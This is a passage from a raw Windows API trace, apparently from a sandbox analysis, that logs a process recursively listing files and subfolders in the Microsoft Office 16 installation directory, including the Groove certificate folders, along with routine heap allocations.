ftCreationTime.dwLowDateTime=0xcb4881c8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4881c8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4ae41a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x29c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMIMES.CFG", cAlternateFileName="")) returned 1 [0283.166] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4881c8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4881c8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4ae41a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMSL.ICO", cAlternateFileName="")) returned 1 [0283.166] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4ae41a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4d4679, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8be, dwReserved0=0x0, dwReserved1=0x0, cFileName="SMSS.ICO", cAlternateFileName="")) returned 1 [0283.166] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4ae41a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4d4679, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x300, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASK.CFG", cAlternateFileName="")) returned 1 [0283.166] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4ae41a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4d4679, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACC.CFG", cAlternateFileName="")) returned 1 [0283.166] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4ae41a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4ae41a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACCL.ICO", cAlternateFileName="")) returned 1 [0283.166] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4ae41a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4ae41a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKACCS.ICO", cAlternateFileName="")) returned 1 [0283.167] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4ae41a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4ae41a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDEC.CFG", cAlternateFileName="")) returned 1 [0283.167] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4ae41a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4ae41a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDECL.ICO", cAlternateFileName="")) returned 1 [0283.167] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4ae41a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4ae41a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKDECS.ICO", cAlternateFileName="")) returned 1 [0283.245] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4ae41a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4ae41a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKL.ICO", cAlternateFileName="")) returned 1 [0283.246] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4ae41a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4ae41a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31d, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKREQ.CFG", cAlternateFileName="")) returned 1 [0283.246] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4ae41a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4d4679, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKREQL.ICO", cAlternateFileName="")) returned 1 [0283.246] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4d4679, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4d4679, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4fa8f4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKREQS.ICO", cAlternateFileName="")) returned 1 [0283.246] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4ae41a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4ae41a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4d4679, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKS.ICO", cAlternateFileName="")) returned 1 [0283.246] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4d4679, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4d4679, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4d4679, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKUPD.CFG", cAlternateFileName="")) returned 1 [0283.247] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcb4d4679, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcb4d4679, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcb4d4679, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="TASKUPD.CFG", cAlternateFileName="")) returned 0 [0283.247] FindClose (in: hFindFile=0xb02d08 | out: hFindFile=0xb02d08) returned 1 [0283.248] GetProcessHeap () returned 0xaf0000 [0283.248] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.248] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0283.248] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0283.248] GetProcessHeap () returned 0xaf0000 [0283.248] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0283.249] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1d91898, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1d91898, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4dd9107, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x15f450, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GANTT.DLL", cAlternateFileName="")) returned 1 [0283.249] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x18b202d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x701c60, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GKExcel.dll", cAlternateFileName="")) returned 1 [0283.250] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x17ff3259, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x485ec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GKPowerPoint.dll", cAlternateFileName="GKPOWE~1.DLL")) returned 1 [0283.250] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x18afa0b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x528860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GKWord.dll", cAlternateFileName="")) returned 1 [0283.250] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2366bd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef8a36d6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef93c032, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x574260, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GRAPH.EXE", cAlternateFileName="")) returned 1 [0283.250] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2661a3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2661a3d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe2877b8a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x530, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Graph.exe.manifest", cAlternateFileName="GRAPHE~1.MAN")) returned 1 [0283.250] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0063153, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="GRAPH.ICO", cAlternateFileName="")) returned 1 [0283.250] FindNextFileW (in: hFindFile=0xb02c88, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Groove", cAlternateFileName="")) returned 1 [0283.250] GetProcessHeap () returned 0xaf0000 [0283.250] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0283.251] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.251] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.251] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ff3259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x186355ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x186355ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates", cAlternateFileName="CERTIF~1")) returned 1 [0283.251] GetProcessHeap () returned 0xaf0000 [0283.252] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.252] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ff3259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x186355ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x186355ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0283.252] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ff3259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x186355ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x186355ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.252] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="groove.net", cAlternateFileName="")) returned 1 [0283.253] GetProcessHeap () returned 0xaf0000 [0283.253] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0283.253] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.253] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.253] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18aadbcf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18aadbcf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18aadbcf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 1 [0283.254] GetProcessHeap () returned 0xaf0000 [0283.254] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0283.255] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Components\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18aadbcf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18aadbcf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18aadbcf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0283.255] FindNextFileW (in: hFindFile=0xb02d08, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18aadbcf, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18aadbcf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18aadbcf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.255] GetProcessHeap () returned 0xaf0000 [0283.255] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0283.256] GetProcessHeap () returned 0xaf0000 [0283.256] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0283.256] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b0f9971, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0283.258] GetProcessHeap () returned 0xaf0000 [0283.258] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0283.259] GetProcessHeap () returned 0xaf0000 [0283.259] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0283.259] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Servers\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x18681a5c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18681a5c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0283.259] GetProcessHeap () returned 0xaf0000 [0283.259] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0283.259] GetProcessHeap () returned 0xaf0000 [0283.259] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0283.261] GetProcessHeap () returned 0xaf0000 [0283.261] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0283.262] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1865b8d4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1865b8d4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.262] GetProcessHeap () returned 0xaf0000 [0283.265] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0283.266] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\Verisign\\Components\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1865b8d4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0283.269] GetProcessHeap () returned 0xaf0000 [0283.269] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0283.269] GetProcessHeap () returned 0xaf0000 [0283.269] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3666250 | out: hHeap=0xaf0000) returned 1 [0283.271] GetProcessHeap () returned 0xaf0000 [0283.271] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.271] GetProcessHeap () returned 0xaf0000 [0283.271] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) 